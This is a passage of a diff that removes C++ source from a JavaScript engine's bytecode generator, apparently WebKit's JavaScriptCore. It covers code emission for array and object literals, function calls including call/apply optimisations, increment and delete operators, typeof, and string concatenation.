-{
-    // FIXME: Should we put all of this code into emitNewArray?
-
-    unsigned length = 0;
-    ElementNode* firstPutElement;
-    for (firstPutElement = m_element; firstPutElement; firstPutElement = firstPutElement->next()) {
-        if (firstPutElement->elision())
-            break;
-        ++length;
-    }
-
-    if (!firstPutElement && !m_elision)
-        return generator.emitNewArray(generator.finalDestination(dst), m_element);
-
-    RefPtr<RegisterID> array = generator.emitNewArray(generator.tempDestination(dst), m_element);
-
-    for (ElementNode* n = firstPutElement; n; n = n->next()) {
-        RegisterID* value = generator.emitNode(n->value());
-        length += n->elision();
-        generator.emitPutByIndex(array.get(), length++, value);
-    }
-
-    if (m_elision) {
-        RegisterID* value = generator.emitLoad(0, jsNumber(generator.globalData(), m_elision + length));
-        generator.emitPutById(array.get(), generator.propertyNames().length, value);
-    }
-
-    return generator.moveToDestinationIfNeeded(dst, array.get());
-}
-
-bool ArrayNode::isSimpleArray() const
-{
-    if (m_elision || m_optional)
-        return false;
-    for (ElementNode* ptr = m_element; ptr; ptr = ptr->next()) {
-        if (ptr->elision())
-            return false;
-    }
-    return true;
-}
-
-ArgumentListNode* ArrayNode::toArgumentList(JSGlobalData* globalData) const
-{
-    ASSERT(!m_elision && !m_optional);
-    ElementNode* ptr = m_element;
-    if (!ptr)
-        return 0;
-    ArgumentListNode* head = new (globalData) ArgumentListNode(globalData, ptr->value());
-    ArgumentListNode* tail = head;
-    ptr = ptr->next();
-    for (; ptr; ptr = ptr->next()) {
-        ASSERT(!ptr->elision());
-        tail = new (globalData) ArgumentListNode(globalData, tail, ptr->value());
-    }
-    return head;
-}
-
-// ------------------------------ ObjectLiteralNode ----------------------------
-
-RegisterID* ObjectLiteralNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-     if (!m_list) {
-         if (dst == generator.ignoredResult())
-             return 0;
-         return generator.emitNewObject(generator.finalDestination(dst));
-     }
-     return generator.emitNode(dst, m_list);
-}
-
-// ------------------------------ PropertyListNode -----------------------------
-
-RegisterID* PropertyListNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> newObj = generator.tempDestination(dst);
-    
-    generator.emitNewObject(newObj.get());
-    
-    for (PropertyListNode* p = this; p; p = p->m_next) {
-        RegisterID* value = generator.emitNode(p->m_node->m_assign);
-        
-        switch (p->m_node->m_type) {
-            case PropertyNode::Constant: {
-                generator.emitPutById(newObj.get(), p->m_node->name(), value);
-                break;
-            }
-            case PropertyNode::Getter: {
-                generator.emitPutGetter(newObj.get(), p->m_node->name(), value);
-                break;
-            }
-            case PropertyNode::Setter: {
-                generator.emitPutSetter(newObj.get(), p->m_node->name(), value);
-                break;
-            }
-            default:
-                ASSERT_NOT_REACHED();
-        }
-    }
-    
-    return generator.moveToDestinationIfNeeded(dst, newObj.get());
-}
-
-// ------------------------------ BracketAccessorNode --------------------------------
-
-RegisterID* BracketAccessorNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> base = generator.emitNodeForLeftHandSide(m_base, m_subscriptHasAssignments, m_subscript->isPure(generator));
-    RegisterID* property = generator.emitNode(m_subscript);
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    return generator.emitGetByVal(generator.finalDestination(dst), base.get(), property);
-}
-
-// ------------------------------ DotAccessorNode --------------------------------
-
-RegisterID* DotAccessorNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RegisterID* base = generator.emitNode(m_base);
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    return generator.emitGetById(generator.finalDestination(dst), base, m_ident);
-}
-
-// ------------------------------ ArgumentListNode -----------------------------
-
-RegisterID* ArgumentListNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    ASSERT(m_expr);
-    return generator.emitNode(dst, m_expr);
-}
-
-// ------------------------------ NewExprNode ----------------------------------
-
-RegisterID* NewExprNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> func = generator.emitNode(m_expr);
-    return generator.emitConstruct(generator.finalDestination(dst), func.get(), m_args, divot(), startOffset(), endOffset());
-}
-
-// ------------------------------ EvalFunctionCallNode ----------------------------------
-
-RegisterID* EvalFunctionCallNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> func = generator.tempDestination(dst);
-    RefPtr<RegisterID> thisRegister = generator.newTemporary();
-    generator.emitExpressionInfo(divot() - startOffset() + 4, 4, 0);
-    generator.emitResolveWithBase(thisRegister.get(), func.get(), generator.propertyNames().eval);
-    return generator.emitCallEval(generator.finalDestination(dst, func.get()), func.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-}
-
-// ------------------------------ FunctionCallValueNode ----------------------------------
-
-RegisterID* FunctionCallValueNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> func = generator.emitNode(m_expr);
-    RefPtr<RegisterID> thisRegister = generator.emitLoad(generator.newTemporary(), jsNull());
-    return generator.emitCall(generator.finalDestination(dst, func.get()), func.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-}
-
-// ------------------------------ FunctionCallResolveNode ----------------------------------
-
-RegisterID* FunctionCallResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (RefPtr<RegisterID> local = generator.registerFor(m_ident)) {
-        RefPtr<RegisterID> thisRegister = generator.emitLoad(generator.newTemporary(), jsNull());
-        return generator.emitCall(generator.finalDestination(dst, thisRegister.get()), local.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-    }
-
-    int index = 0;
-    size_t depth = 0;
-    JSObject* globalObject = 0;
-    if (generator.findScopedProperty(m_ident, index, depth, false, globalObject) && index != missingSymbolMarker()) {
-        RefPtr<RegisterID> func = generator.emitGetScopedVar(generator.newTemporary(), depth, index, globalObject);
-        RefPtr<RegisterID> thisRegister = generator.emitLoad(generator.newTemporary(), jsNull());
-        return generator.emitCall(generator.finalDestination(dst, func.get()), func.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-    }
-
-    RefPtr<RegisterID> func = generator.newTemporary();
-    RefPtr<RegisterID> thisRegister = generator.newTemporary();
-    int identifierStart = divot() - startOffset();
-    generator.emitExpressionInfo(identifierStart + m_ident.size(), m_ident.size(), 0);
-    generator.emitResolveWithBase(thisRegister.get(), func.get(), m_ident);
-    return generator.emitCall(generator.finalDestination(dst, func.get()), func.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-}
-
-// ------------------------------ FunctionCallBracketNode ----------------------------------
-
-RegisterID* FunctionCallBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> base = generator.emitNode(m_base);
-    RegisterID* property = generator.emitNode(m_subscript);
-    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
-    RefPtr<RegisterID> function = generator.emitGetByVal(generator.tempDestination(dst), base.get(), property);
-    RefPtr<RegisterID> thisRegister = generator.emitMove(generator.newTemporary(), base.get());
-    return generator.emitCall(generator.finalDestination(dst, function.get()), function.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-}
-
-// ------------------------------ FunctionCallDotNode ----------------------------------
-
-RegisterID* FunctionCallDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> function = generator.tempDestination(dst);
-    RefPtr<RegisterID> thisRegister = generator.newTemporary();
-    generator.emitNode(thisRegister.get(), m_base);
-    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
-    generator.emitMethodCheck();
-    generator.emitGetById(function.get(), thisRegister.get(), m_ident);
-    return generator.emitCall(generator.finalDestination(dst, function.get()), function.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-}
-
-RegisterID* CallFunctionCallDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<Label> realCall = generator.newLabel();
-    RefPtr<Label> end = generator.newLabel();
-    RefPtr<RegisterID> base = generator.emitNode(m_base);
-    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
-    RefPtr<RegisterID> function = generator.emitGetById(generator.tempDestination(dst), base.get(), m_ident);
-    RefPtr<RegisterID> finalDestination = generator.finalDestination(dst, function.get());
-    generator.emitJumpIfNotFunctionCall(function.get(), realCall.get());
-    {
-        RefPtr<RegisterID> realFunction = generator.emitMove(generator.tempDestination(dst), base.get());
-        RefPtr<RegisterID> thisRegister = generator.newTemporary();
-        ArgumentListNode* oldList = m_args->m_listNode;
-        if (m_args->m_listNode && m_args->m_listNode->m_expr) {
-            generator.emitNode(thisRegister.get(), m_args->m_listNode->m_expr);
-            m_args->m_listNode = m_args->m_listNode->m_next;
-        } else
-            generator.emitLoad(thisRegister.get(), jsNull());
-
-        generator.emitCall(finalDestination.get(), realFunction.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-        generator.emitJump(end.get());
-        m_args->m_listNode = oldList;
-    }
-    generator.emitLabel(realCall.get());
-    {
-        RefPtr<RegisterID> thisRegister = generator.emitMove(generator.newTemporary(), base.get());
-        generator.emitCall(finalDestination.get(), function.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-    }
-    generator.emitLabel(end.get());
-    return finalDestination.get();
-}
-    
-static bool areTrivialApplyArguments(ArgumentsNode* args)
-{
-    return !args->m_listNode || !args->m_listNode->m_expr || !args->m_listNode->m_next
-        || (!args->m_listNode->m_next->m_next && args->m_listNode->m_next->m_expr->isSimpleArray());
-}
-
-RegisterID* ApplyFunctionCallDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    // A few simple cases can be trivially handled as ordinary function calls.
-    // function.apply(), function.apply(arg) -> identical to function.call
-    // function.apply(thisArg, [arg0, arg1, ...]) -> can be trivially coerced into function.call(thisArg, arg0, arg1, ...) and saves object allocation
-    bool mayBeCall = areTrivialApplyArguments(m_args);
-
-    RefPtr<Label> realCall = generator.newLabel();
-    RefPtr<Label> end = generator.newLabel();
-    RefPtr<RegisterID> base = generator.emitNode(m_base);
-    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
-    RefPtr<RegisterID> function = generator.emitGetById(generator.tempDestination(dst), base.get(), m_ident);
-    RefPtr<RegisterID> finalDestination = generator.finalDestination(dst, function.get());
-    generator.emitJumpIfNotFunctionApply(function.get(), realCall.get());
-    {
-        if (mayBeCall) {
-            RefPtr<RegisterID> realFunction = generator.emitMove(generator.tempDestination(dst), base.get());
-            RefPtr<RegisterID> thisRegister = generator.newTemporary();
-            ArgumentListNode* oldList = m_args->m_listNode;
-            if (m_args->m_listNode && m_args->m_listNode->m_expr) {
-                generator.emitNode(thisRegister.get(), m_args->m_listNode->m_expr);
-                m_args->m_listNode = m_args->m_listNode->m_next;
-                if (m_args->m_listNode) {
-                    ASSERT(m_args->m_listNode->m_expr->isSimpleArray());
-                    ASSERT(!m_args->m_listNode->m_next);
-                    m_args->m_listNode = static_cast<ArrayNode*>(m_args->m_listNode->m_expr)->toArgumentList(generator.globalData());
-                }
-            } else
-                generator.emitLoad(thisRegister.get(), jsNull());
-            generator.emitCall(finalDestination.get(), realFunction.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-            m_args->m_listNode = oldList;
-        } else {
-            ASSERT(m_args->m_listNode && m_args->m_listNode->m_next);
-            RefPtr<RegisterID> realFunction = generator.emitMove(generator.newTemporary(), base.get());
-            RefPtr<RegisterID> argsCountRegister = generator.newTemporary();
-            RefPtr<RegisterID> thisRegister = generator.newTemporary();
-            RefPtr<RegisterID> argsRegister = generator.newTemporary();
-            generator.emitNode(thisRegister.get(), m_args->m_listNode->m_expr);
-            ArgumentListNode* args = m_args->m_listNode->m_next;
-            bool isArgumentsApply = false;
-            if (args->m_expr->isResolveNode()) {
-                ResolveNode* resolveNode = static_cast<ResolveNode*>(args->m_expr);
-                isArgumentsApply = generator.willResolveToArguments(resolveNode->identifier());
-                if (isArgumentsApply)
-                    generator.emitMove(argsRegister.get(), generator.uncheckedRegisterForArguments());
-            }
-            if (!isArgumentsApply)
-                generator.emitNode(argsRegister.get(), args->m_expr);
-            while ((args = args->m_next))
-                generator.emitNode(args->m_expr);
-
-            generator.emitLoadVarargs(argsCountRegister.get(), argsRegister.get());
-            generator.emitCallVarargs(finalDestination.get(), realFunction.get(), thisRegister.get(), argsCountRegister.get(), divot(), startOffset(), endOffset());
-        }
-        generator.emitJump(end.get());
-    }
-    generator.emitLabel(realCall.get());
-    {
-        RefPtr<RegisterID> thisRegister = generator.emitMove(generator.newTemporary(), base.get());
-        generator.emitCall(finalDestination.get(), function.get(), thisRegister.get(), m_args, divot(), startOffset(), endOffset());
-    }
-    generator.emitLabel(end.get());
-    return finalDestination.get();
-}
-
-// ------------------------------ PostfixResolveNode ----------------------------------
-
-static RegisterID* emitPreIncOrDec(BytecodeGenerator& generator, RegisterID* srcDst, Operator oper)
-{
-    return (oper == OpPlusPlus) ? generator.emitPreInc(srcDst) : generator.emitPreDec(srcDst);
-}
-
-static RegisterID* emitPostIncOrDec(BytecodeGenerator& generator, RegisterID* dst, RegisterID* srcDst, Operator oper)
-{
-    if (srcDst == dst)
-        return generator.emitToJSNumber(dst, srcDst);
-    return (oper == OpPlusPlus) ? generator.emitPostInc(dst, srcDst) : generator.emitPostDec(dst, srcDst);
-}
-
-RegisterID* PostfixResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (RegisterID* local = generator.registerFor(m_ident)) {
-        if (generator.isLocalConstant(m_ident)) {
-            if (dst == generator.ignoredResult())
-                return 0;
-            return generator.emitToJSNumber(generator.finalDestination(dst), local);
-        }
-
-        if (dst == generator.ignoredResult())
-            return emitPreIncOrDec(generator, local, m_operator);
-        return emitPostIncOrDec(generator, generator.finalDestination(dst), local, m_operator);
-    }
-
-    int index = 0;
-    size_t depth = 0;
-    JSObject* globalObject = 0;
-    if (generator.findScopedProperty(m_ident, index, depth, true, globalObject) && index != missingSymbolMarker()) {
-        RefPtr<RegisterID> value = generator.emitGetScopedVar(generator.newTemporary(), depth, index, globalObject);
-        RegisterID* oldValue;
-        if (dst == generator.ignoredResult()) {
-            oldValue = 0;
-            emitPreIncOrDec(generator, value.get(), m_operator);
-        } else {
-            oldValue = emitPostIncOrDec(generator, generator.finalDestination(dst), value.get(), m_operator);
-        }
-        generator.emitPutScopedVar(depth, index, value.get(), globalObject);
-        return oldValue;
-    }
-
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    RefPtr<RegisterID> value = generator.newTemporary();
-    RefPtr<RegisterID> base = generator.emitResolveWithBase(generator.newTemporary(), value.get(), m_ident);
-    RegisterID* oldValue;
-    if (dst == generator.ignoredResult()) {
-        oldValue = 0;
-        emitPreIncOrDec(generator, value.get(), m_operator);
-    } else {
-        oldValue = emitPostIncOrDec(generator, generator.finalDestination(dst), value.get(), m_operator);
-    }
-    generator.emitPutById(base.get(), m_ident, value.get());
-    return oldValue;
-}
-
-// ------------------------------ PostfixBracketNode ----------------------------------
-
-RegisterID* PostfixBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> base = generator.emitNode(m_base);
-    RefPtr<RegisterID> property = generator.emitNode(m_subscript);
-
-    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
-    RefPtr<RegisterID> value = generator.emitGetByVal(generator.newTemporary(), base.get(), property.get());
-    RegisterID* oldValue;
-    if (dst == generator.ignoredResult()) {
-        oldValue = 0;
-        if (m_operator == OpPlusPlus)
-            generator.emitPreInc(value.get());
-        else
-            generator.emitPreDec(value.get());
-    } else {
-        oldValue = (m_operator == OpPlusPlus) ? generator.emitPostInc(generator.finalDestination(dst), value.get()) : generator.emitPostDec(generator.finalDestination(dst), value.get());
-    }
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    generator.emitPutByVal(base.get(), property.get(), value.get());
-    return oldValue;
-}
-
-// ------------------------------ PostfixDotNode ----------------------------------
-
-RegisterID* PostfixDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> base = generator.emitNode(m_base);
-
-    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
-    RefPtr<RegisterID> value = generator.emitGetById(generator.newTemporary(), base.get(), m_ident);
-    RegisterID* oldValue;
-    if (dst == generator.ignoredResult()) {
-        oldValue = 0;
-        if (m_operator == OpPlusPlus)
-            generator.emitPreInc(value.get());
-        else
-            generator.emitPreDec(value.get());
-    } else {
-        oldValue = (m_operator == OpPlusPlus) ? generator.emitPostInc(generator.finalDestination(dst), value.get()) : generator.emitPostDec(generator.finalDestination(dst), value.get());
-    }
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    generator.emitPutById(base.get(), m_ident, value.get());
-    return oldValue;
-}
-
-// ------------------------------ PostfixErrorNode -----------------------------------
-
-RegisterID* PostfixErrorNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
-{
-    return emitThrowError(generator, ReferenceError, m_operator == OpPlusPlus
-        ? "Postfix ++ operator applied to value that is not a reference."
-        : "Postfix -- operator applied to value that is not a reference.");
-}
-
-// ------------------------------ DeleteResolveNode -----------------------------------
-
-RegisterID* DeleteResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (generator.registerFor(m_ident))
-        return generator.emitLoad(generator.finalDestination(dst), false);
-
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    RegisterID* base = generator.emitResolveBase(generator.tempDestination(dst), m_ident);
-    return generator.emitDeleteById(generator.finalDestination(dst, base), base, m_ident);
-}
-
-// ------------------------------ DeleteBracketNode -----------------------------------
-
-RegisterID* DeleteBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> r0 = generator.emitNode(m_base);
-    RegisterID* r1 = generator.emitNode(m_subscript);
-
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    return generator.emitDeleteByVal(generator.finalDestination(dst), r0.get(), r1);
-}
-
-// ------------------------------ DeleteDotNode -----------------------------------
-
-RegisterID* DeleteDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RegisterID* r0 = generator.emitNode(m_base);
-
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    return generator.emitDeleteById(generator.finalDestination(dst), r0, m_ident);
-}
-
-// ------------------------------ DeleteValueNode -----------------------------------
-
-RegisterID* DeleteValueNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitNode(generator.ignoredResult(), m_expr);
-
-    // delete on a non-location expression ignores the value and returns true
-    return generator.emitLoad(generator.finalDestination(dst), true);
-}
-
-// ------------------------------ VoidNode -------------------------------------
-
-RegisterID* VoidNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (dst == generator.ignoredResult()) {
-        generator.emitNode(generator.ignoredResult(), m_expr);
-        return 0;
-    }
-    RefPtr<RegisterID> r0 = generator.emitNode(m_expr);
-    return generator.emitLoad(dst, jsUndefined());
-}
-
-// ------------------------------ TypeOfValueNode -----------------------------------
-
-RegisterID* TypeOfResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (RegisterID* local = generator.registerFor(m_ident)) {
-        if (dst == generator.ignoredResult())
-            return 0;
-        return generator.emitTypeOf(generator.finalDestination(dst), local);
-    }
-
-    RefPtr<RegisterID> scratch = generator.emitResolveBase(generator.tempDestination(dst), m_ident);
-    generator.emitGetById(scratch.get(), scratch.get(), m_ident);
-    if (dst == generator.ignoredResult())
-        return 0;
-    return generator.emitTypeOf(generator.finalDestination(dst, scratch.get()), scratch.get());
-}
-
-// ------------------------------ TypeOfValueNode -----------------------------------
-
-RegisterID* TypeOfValueNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (dst == generator.ignoredResult()) {
-        generator.emitNode(generator.ignoredResult(), m_expr);
-        return 0;
-    }
-    RefPtr<RegisterID> src = generator.emitNode(m_expr);
-    return generator.emitTypeOf(generator.finalDestination(dst), src.get());
-}
-
-// ------------------------------ PrefixResolveNode ----------------------------------
-
-RegisterID* PrefixResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (RegisterID* local = generator.registerFor(m_ident)) {
-        if (generator.isLocalConstant(m_ident)) {
-            if (dst == generator.ignoredResult())
-                return 0;
-            RefPtr<RegisterID> r0 = generator.emitLoad(generator.finalDestination(dst), (m_operator == OpPlusPlus) ? 1.0 : -1.0);
-            return generator.emitBinaryOp(op_add, r0.get(), local, r0.get(), OperandTypes());
-        }
-
-        emitPreIncOrDec(generator, local, m_operator);
-        return generator.moveToDestinationIfNeeded(dst, local);
-    }
-
-    int index = 0;
-    size_t depth = 0;
-    JSObject* globalObject = 0;
-    if (generator.findScopedProperty(m_ident, index, depth, false, globalObject) && index != missingSymbolMarker()) {
-        RefPtr<RegisterID> propDst = generator.emitGetScopedVar(generator.tempDestination(dst), depth, index, globalObject);
-        emitPreIncOrDec(generator, propDst.get(), m_operator);
-        generator.emitPutScopedVar(depth, index, propDst.get(), globalObject);
-        return generator.moveToDestinationIfNeeded(dst, propDst.get());
-    }
-
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    RefPtr<RegisterID> propDst = generator.tempDestination(dst);
-    RefPtr<RegisterID> base = generator.emitResolveWithBase(generator.newTemporary(), propDst.get(), m_ident);
-    emitPreIncOrDec(generator, propDst.get(), m_operator);
-    generator.emitPutById(base.get(), m_ident, propDst.get());
-    return generator.moveToDestinationIfNeeded(dst, propDst.get());
-}
-
-// ------------------------------ PrefixBracketNode ----------------------------------
-
-RegisterID* PrefixBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> base = generator.emitNode(m_base);
-    RefPtr<RegisterID> property = generator.emitNode(m_subscript);
-    RefPtr<RegisterID> propDst = generator.tempDestination(dst);
-
-    generator.emitExpressionInfo(divot() + m_subexpressionDivotOffset, m_subexpressionStartOffset, endOffset() - m_subexpressionDivotOffset);
-    RegisterID* value = generator.emitGetByVal(propDst.get(), base.get(), property.get());
-    if (m_operator == OpPlusPlus)
-        generator.emitPreInc(value);
-    else
-        generator.emitPreDec(value);
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    generator.emitPutByVal(base.get(), property.get(), value);
-    return generator.moveToDestinationIfNeeded(dst, propDst.get());
-}
-
-// ------------------------------ PrefixDotNode ----------------------------------
-
-RegisterID* PrefixDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> base = generator.emitNode(m_base);
-    RefPtr<RegisterID> propDst = generator.tempDestination(dst);
-
-    generator.emitExpressionInfo(divot() + m_subexpressionDivotOffset, m_subexpressionStartOffset, endOffset() - m_subexpressionDivotOffset);
-    RegisterID* value = generator.emitGetById(propDst.get(), base.get(), m_ident);
-    if (m_operator == OpPlusPlus)
-        generator.emitPreInc(value);
-    else
-        generator.emitPreDec(value);
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    generator.emitPutById(base.get(), m_ident, value);
-    return generator.moveToDestinationIfNeeded(dst, propDst.get());
-}
-
-// ------------------------------ PrefixErrorNode -----------------------------------
-
-RegisterID* PrefixErrorNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
-{
-    return emitThrowError(generator, ReferenceError, m_operator == OpPlusPlus
-        ? "Prefix ++ operator applied to value that is not a reference."
-        : "Prefix -- operator applied to value that is not a reference.");
-}
-
-// ------------------------------ Unary Operation Nodes -----------------------------------
-
-RegisterID* UnaryOpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RegisterID* src = generator.emitNode(m_expr);
-    return generator.emitUnaryOp(opcodeID(), generator.finalDestination(dst), src);
-}
-
-// ------------------------------ Binary Operation Nodes -----------------------------------
-
-// BinaryOpNode::emitStrcat:
-//
-// This node generates an op_strcat operation.  This opcode can handle concatenation of three or
-// more values, where we can determine a set of separate op_add operations would be operating on
-// string values.
-//
-// This function expects to be operating on a graph of AST nodes looking something like this:
-//
-//     (a)...     (b)
-//          \   /
-//           (+)     (c)
-//              \   /
-//      [d]     ((+))
-//         \    /
-//          [+=]
-//
-// The assignment operation is optional, if it exists the register holding the value on the
-// lefthand side of the assignment should be passing as the optional 'lhs' argument.
-//
-// The method should be called on the node at the root of the tree of regular binary add
-// operations (marked in the diagram with a double set of parentheses).  This node must
-// be performing a string concatenation (determined by statically detecting that at least
-// one child must be a string).  
-//
-// Since the minimum number of values being concatenated together is expected to be 3, if
-// a lhs to a concatenating assignment is not provided then the  root add should have at
-// least one left child that is also an add that can be determined to be operating on strings.
-//
-RegisterID* BinaryOpNode::emitStrcat(BytecodeGenerator& generator, RegisterID* dst, RegisterID* lhs, ReadModifyResolveNode* emitExpressionInfoForMe)
-{
-    ASSERT(isAdd());
-    ASSERT(resultDescriptor().definitelyIsString());
-
-    // Create a list of expressions for all the adds in the tree of nodes we can convert into
-    // a string concatenation.  The rightmost node (c) is added first.  The rightmost node is
-    // added first, and the leftmost child is never added, so the vector produced for the
-    // example above will be [ c, b ].
-    Vector<ExpressionNode*, 16> reverseExpressionList;
-    reverseExpressionList.append(m_expr2);
-
-    // Examine the left child of the add.  So long as this is a string add, add its right-child
-    // to the list, and keep processing along the left fork.
-    ExpressionNode* leftMostAddChild = m_expr1;
-    while (leftMostAddChild->isAdd() && leftMostAddChild->resultDescriptor().definitelyIsString()) {
-        reverseExpressionList.append(static_cast<AddNode*>(leftMostAddChild)->m_expr2);
-        leftMostAddChild = static_cast<AddNode*>(leftMostAddChild)->m_expr1;
-    }
-
-    Vector<RefPtr<RegisterID>, 16> temporaryRegisters;
-
-    // If there is an assignment, allocate a temporary to hold the lhs after conversion.
-    // We could possibly avoid this (the lhs is converted last anyway, we could let the
-    // op_strcat node handle its conversion if required).
-    if (lhs)
-        temporaryRegisters.append(generator.newTemporary());
-
-    // Emit code for the leftmost node ((a) in the example).
-    temporaryRegisters.append(generator.newTemporary());
-    RegisterID* leftMostAddChildTempRegister = temporaryRegisters.last().get();
-    generator.emitNode(leftMostAddChildTempRegister, leftMostAddChild);
-
-    // Note on ordering of conversions:
-    //
-    // We maintain the same ordering of conversions as we would see if the concatenations
-    // was performed as a sequence of adds (otherwise this optimization could change
-    // behaviour should an object have been provided a valueOf or toString method).
-    //
-    // Considering the above example, the sequnce of execution is:
-    //     * evaluate operand (a)
-    //     * evaluate operand (b)
-    //     * convert (a) to primitive   <-  (this would be triggered by the first add)
-    //     * convert (b) to primitive   <-  (ditto)
-    //     * evaluate operand (c)
-    //     * convert (c) to primitive   <-  (this would be triggered by the second add)
-    // And optionally, if there is an assignment:
-    //     * convert (d) to primitive   <-  (this would be triggered by the assigning addition)
-    //
-    // As such we do not plant an op to convert the leftmost child now.  Instead, use
-    // 'leftMostAddChildTempRegister' as a flag to trigger generation of the conversion
-    // once the second node has been generated.  However, if the leftmost child is an
-    // immediate we can trivially determine that no conversion will be required.
-    // If this is the case
-    if (leftMostAddChild->isString())
-        leftMostAddChildTempRegister = 0;
-
-    while (reverseExpressionList.size()) {
-        ExpressionNode* node = reverseExpressionList.last();
-        reverseExpressionList.removeLast();
-
-        // Emit the code for the current node.
-        temporaryRegisters.append(generator.newTemporary());
-        generator.emitNode(temporaryRegisters.last().get(), node);
-
-        // On the first iteration of this loop, when we first reach this point we have just
-        // generated the second node, which means it is time to convert the leftmost operand.
-        if (leftMostAddChildTempRegister) {
-            generator.emitToPrimitive(leftMostAddChildTempRegister, leftMostAddChildTempRegister);
-            leftMostAddChildTempRegister = 0; // Only do this once.
-        }
-        // Plant a conversion for this node, if necessary.
-        if (!node->isString())
-            generator.emitToPrimitive(temporaryRegisters.last().get(), temporaryRegisters.last().get());
-    }
-    ASSERT(temporaryRegisters.size() >= 3);
-
-    // Certain read-modify nodes require expression info to be emitted *after* m_right has been generated.
-    // If this is required the node is passed as 'emitExpressionInfoForMe'; do so now.
-    if (emitExpressionInfoForMe)
-        generator.emitExpressionInfo(emitExpressionInfoForMe->divot(), emitExpressionInfoForMe->startOffset(), emitExpressionInfoForMe->endOffset());
-
-    // If there is an assignment convert the lhs now.  This will also copy lhs to
-    // the temporary register we allocated for it.
-    if (lhs)
-        generator.emitToPrimitive(temporaryRegisters[0].get(), lhs);
-
-    return generator.emitStrcat(generator.finalDestination(dst, temporaryRegisters[0].get()), temporaryRegisters[0].get(), temporaryRegisters.size());
-}
-
-RegisterID* BinaryOpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    OpcodeID opcodeID = this->opcodeID();
-
-    if (opcodeID == op_add && m_expr1->isAdd() && m_expr1->resultDescriptor().definitelyIsString())
-        return emitStrcat(generator, dst);
-
-    if (opcodeID == op_neq) {
-        if (m_expr1->isNull() || m_expr2->isNull()) {
-            RefPtr<RegisterID> src = generator.tempDestination(dst);
-            generator.emitNode(src.get(), m_expr1->isNull() ? m_expr2 : m_expr1);
-            return generator.emitUnaryOp(op_neq_null, generator.finalDestination(dst, src.get()), src.get());
-        }
-    }
-
-    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
